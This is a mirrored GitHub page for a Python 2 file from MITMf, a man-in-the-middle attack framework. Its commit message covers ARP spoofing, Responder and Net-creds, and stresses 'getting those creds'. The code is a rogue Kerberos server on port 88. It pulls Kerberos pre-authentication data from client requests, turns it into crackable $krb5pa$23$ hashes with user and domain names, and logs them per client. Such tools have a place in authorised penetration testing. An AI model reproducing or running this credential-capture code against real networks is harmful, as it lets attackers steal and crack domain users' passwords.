mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
163 lines
No EOL
5.6 KiB
Python
163 lines
No EOL
5.6 KiB
Python
##################################################################################
|
|
#Kerberos Server stuff starts here
|
|
##################################################################################
|
|
|
|
class KERBServer():
|
|
|
|
def serve_thread_udp(host, port, handler):
|
|
try:
|
|
server = ThreadingUDPServer((host, port), handler)
|
|
server.serve_forever()
|
|
except Exception, e:
|
|
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
|
|
|
|
def serve_thread_tcp(host, port, handler):
|
|
try:
|
|
server = ThreadingTCPServer((host, port), handler)
|
|
server.serve_forever()
|
|
except Exception, e:
|
|
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
|
|
|
#Function name self-explanatory
|
|
def start(Krb_On_Off):
|
|
if Krb_On_Off == "ON":
|
|
t1 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
|
t2 = threading.Thread(name="KerbTCP", target=serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
|
for t in [t1,t2]:
|
|
t.setDaemon(True)
|
|
t.start()
|
|
|
|
return t1, t2
|
|
if Krb_On_Off == "OFF":
|
|
return False
|
|
|
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
|
|
|
allow_reuse_address = 1
|
|
|
|
def server_bind(self):
|
|
UDPServer.server_bind(self)
|
|
|
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
|
|
|
allow_reuse_address = 1
|
|
|
|
def server_bind(self):
|
|
TCPServer.server_bind(self)
|
|
|
|
def ParseMSKerbv5TCP(Data):
|
|
MsgType = Data[21:22]
|
|
EncType = Data[43:44]
|
|
MessageType = Data[32:33]
|
|
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
|
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
|
HashLen = struct.unpack('<b',Data[50:51])[0]
|
|
if HashLen == 54:
|
|
Hash = Data[53:105]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[153:154])[0]
|
|
Name = Data[154:154+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
|
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
|
HashLen = struct.unpack('<b',Data[45:46])[0]
|
|
if HashLen == 53:
|
|
Hash = Data[48:99]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[147:148])[0]
|
|
Name = Data[148:148+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
|
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
if HashLen == 54:
|
|
Hash = Data[53:105]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[148:149])[0]
|
|
Name = Data[149:149+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
|
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
|
|
else:
|
|
Hash = Data[48:100]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[148:149])[0]
|
|
Name = Data[149:149+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
|
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
else:
|
|
return False
|
|
|
|
def ParseMSKerbv5UDP(Data):
|
|
MsgType = Data[17:18]
|
|
EncType = Data[39:40]
|
|
if MsgType == "\x0a" and EncType == "\x17":
|
|
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
|
HashLen = struct.unpack('<b',Data[41:42])[0]
|
|
if HashLen == 54:
|
|
Hash = Data[44:96]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[144:145])[0]
|
|
Name = Data[145:145+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
|
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
if HashLen == 53:
|
|
Hash = Data[44:95]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[143:144])[0]
|
|
Name = Data[144:144+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
|
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
|
|
|
|
else:
|
|
Hash = Data[49:101]
|
|
SwitchHash = Hash[16:]+Hash[0:16]
|
|
NameLen = struct.unpack('<b',Data[149:150])[0]
|
|
Name = Data[150:150+NameLen]
|
|
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
|
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
|
return BuildHash
|
|
else:
|
|
return False
|
|
|
|
class KerbTCP(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
try:
|
|
data = self.request.recv(1024)
|
|
KerbHash = ParseMSKerbv5TCP(data)
|
|
if KerbHash:
|
|
Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt"
|
|
WriteData(Outfile,KerbHash, KerbHash)
|
|
responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
|
|
except Exception:
|
|
raise
|
|
|
|
class KerbUDP(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
try:
|
|
data, soc = self.request
|
|
KerbHash = ParseMSKerbv5UDP(data)
|
|
if KerbHash:
|
|
Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt"
|
|
WriteData(Outfile,KerbHash, KerbHash)
|
|
responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
|
|
except Exception:
|
|
raise
|
|
|
|
##################################################################################
|
|
#Kerberos Server stuff ends here
|
|
################################################################################## |